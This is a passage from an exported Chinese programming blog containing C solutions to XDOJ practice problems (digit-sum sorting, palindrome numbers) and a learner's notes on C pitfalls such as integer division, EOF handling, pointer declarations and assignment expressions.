class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecmp_bit_sum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e bit_sum(a) \u0026gt; bit_sum(b)?\u003cspan class=\"number\"\u003e1\u003c/span\u003e:bit_sum(a) == bit_sum(b)?\u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esort\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e *arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e len,\u003cspan class=\"type\"\u003eint\u003c/span\u003e (*cmp)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e b))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eexchange\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e *a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e *b)\u003c/span\u003e{\u003cspan class=\"type\"\u003eint\u003c/span\u003e i;i=*a,*a=*b,*b=i;}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; len - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt; len; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (arr[i] \u0026lt; arr[j])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e exchange(\u0026amp;arr[i], \u0026amp;arr[j]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"75-回文数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#75-%E5%9B%9E%E6%96%87%E6%95%B0\" class=\"headerlink\" title=\"75.回文数\"\u003e\u003c/a\u003e75.回文数\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eis_rev\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebit_sum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eget_bit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num, \u003cspan class=\"type\"\u003eint\u003c/span\u003e bit)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003expow\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e { \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e b \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e ? a * xpow(a, b - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) : \u003cspan class=\"number\"\u003e1\u003c/span\u003e; }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (num % (xpow(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, bit)) - num % (xpow(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, bit - \u003cspan class=\"number\"\u003e2\u003c/span\u003e))) / xpow(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, bit - \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (is_rev(num))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, bit_sum(num));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;no\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eis_rev\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e origin = num, bit = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, i, end = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (bit++, num /= \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e num = origin;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, end = bit % \u003cspan class=\"number\"\u003e2\u003c/span\u003e == \u003cspan class=\"number\"\u003e0\u003c/span\u003e ? bit / \u003cspan class=\"number\"\u003e2\u003c/span\u003e : (bit - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) / \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i \u0026lt;= end; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (get_bit(num, i) != get_bit(num, bit - i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebit_sum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (res += num % \u003cspan class=\"number\"\u003e10\u003c/span\u003e, num /= \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这题思路很多,愿意的话也可以用字符串处理来完成。\u003c/p\u003e\u003cp\u003e总是自己写\u003ccode\u003epow\u003c/code\u003e是因为我这边本地环境里\u003ccode\u003epow\u003c/code\u003e好像是坏的。。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/"},{"title":"C语言学习笔记:杂记","time":"2021-09-28T16:25:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"奇怪的赋值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#%E5%A5%87%E6%80%AA%E7%9A%84%E8%B5%8B%E5%80%BC\" class=\"headerlink\" title=\"奇怪的赋值\"\u003e\u003c/a\u003e奇怪的赋值\u003c/h2\u003e\u003cp\u003e先上两个赋值语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//版本1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e c_1 = (a\u003cspan class=\"number\"\u003e-9\u003c/span\u003e)*\u003cspan class=\"number\"\u003e5\u003c/span\u003e/\u003cspan class=\"number\"\u003e9\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//版本2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e c_2 = (a\u003cspan class=\"number\"\u003e-9\u003c/span\u003e)*\u003cspan class=\"number\"\u003e5\u003c/span\u003e/\u003cspan class=\"number\"\u003e9.0f\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那么请问,c_1是否和c_2的值相等呢?\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e不相等。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e因为这里发生了隐式类型转换。对于第一个语句,\u003ccode\u003e5/9\u003c/code\u003e的值实际上是整数,这是因为9和5都是整数。第二个语句则会得到符合我们直觉的结果。\u003c/p\u003e\u003cp\u003e虽然现如今很多编译器已经支持这种自动转换,但是为了确保兼容性,我们还是严格按照数据类型编写赋值语句吧。\u003c/p\u003e\u003cp\u003e这里再说一句,编译器遇到这样的表达式时,会进行自动类型转换,将所有操作数的类型转换为其中容纳范围最大的数据类型。顺序是\u003ccode\u003eshort-\u0026gt;int-\u0026gt;unsigned int-\u0026gt;long-\u0026gt;unsigned long-\u0026gt;float-\u0026gt;double-\u0026gt;long double\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"无限读取\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#%E6%97%A0%E9%99%90%E8%AF%BB%E5%8F%96\" class=\"headerlink\" title=\"无限读取\"\u003e\u003c/a\u003e无限读取\u003c/h2\u003e\u003cp\u003e先来看看这个语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e((ch = getchar()) != \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//statements\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在一些情况下,它的确可以正常运行。但是,在一些特殊情况下,它会无限输出。因为它的结束条件是读入的字符不是换行符。换句话来说,就是此处while的边界条件太少了,以至于循环很可能无限执行下去,导致输出超限。\u003c/p\u003e\u003cp\u003e之前我也不是很清楚,所以说得很抽象。实际上,这里需要使用\u003ccode\u003ewhile((ch=getchar())!=EOF)\u003c/code\u003e,这才是正确的终止条件。\u003c/p\u003e\u003cp\u003e除此之外,\u003ccode\u003ech\u003c/code\u003e务必声明为\u003ccode\u003eint\u003c/code\u003e类型。因为\u003ccode\u003echar\u003c/code\u003e类型实际上就是短整型,所以读取的字符如果ASCII码过大(超过256)就会发生溢出,从而有可能和\u003ccode\u003eEOF\u003c/code\u003e的值相等,从而异常退出。\u003c/p\u003e\u003ch2 id=\"指针?\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#%E6%8C%87%E9%92%88%EF%BC%9F\" class=\"headerlink\" title=\"指针?\"\u003e\u003c/a\u003e指针?\u003c/h2\u003e\u003cp\u003e请看下面的赋值语句,想想a,b的数据类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* a,b;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e答案是:a是指向int的指针,而b是\u003cstrong\u003eint类型的变量\u003c/strong\u003e。原因是什么?因为*是和a在一起的。所以通常我们不会这么写,我们一般会把*放在靠近变量的一侧来避免混淆。\u003c/p\u003e\u003cp\u003e再来看看这个。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e INTPTR int*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e......\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eINTPTR a,b,c;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,只有a是指向int的指针类型。b和c都是整数类型。所以,宏指令并不能很好地处理指针类型。因此我们通常会用typedef取而代之。\u003c/p\u003e\u003ch2 id=\"转义符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#%E8%BD%AC%E4%B9%89%E7%AC%A6\" class=\"headerlink\" title=\"转义符\"\u003e\u003c/a\u003e转义符\u003c/h2\u003e\u003cp\u003e这是转义字符\u003ccode\u003e\\\u003c/code\u003e。注意,对于printf()而言,未定义的转义字符会直接输出反斜杠后的字符。\u003c/p\u003e\u003cp\u003e另外,有一种三符号系统,用\u003ccode\u003e\\??*\u003c/code\u003e来表示其他符号。所以连续使用问号时请务必注意。\u003c/p\u003e\u003ch2 id=\"单引号,双引号\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#%E5%8D%95%E5%BC%95%E5%8F%B7%EF%BC%8C%E5%8F%8C%E5%BC%95%E5%8F%B7\" class=\"headerlink\" title=\"单引号,双引号\"\u003e\u003c/a\u003e单引号,双引号\u003c/h2\u003e\u003cp\u003e在很多语言中,单引号和双引号是等效的(比如Python)。但是对于C语言而言,单引号内\u003cstrong\u003e只能表示单个字符\u003c/strong\u003e,而双引号\u003cstrong\u003e只能表示字符串\u003c/strong\u003e。\u003c/p\u003e\u003ch2 id=\"奇怪的赋值2\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#%E5%A5%87%E6%80%AA%E7%9A%84%E8%B5%8B%E5%80%BC2\" class=\"headerlink\" title=\"奇怪的赋值2\"\u003e\u003c/a\u003e奇怪的赋值2\u003c/h2\u003e\u003cp\u003e来看看这个。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003er=s+(t=u-v)/\u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个表达式合法吗?合法。因为C语言中,赋值并不是语句,而是表达式。所以它可以出现在任何允许出现的地方。\u003c/p\u003e\u003cp\u003e既然是表达式,那么它就有返回值。 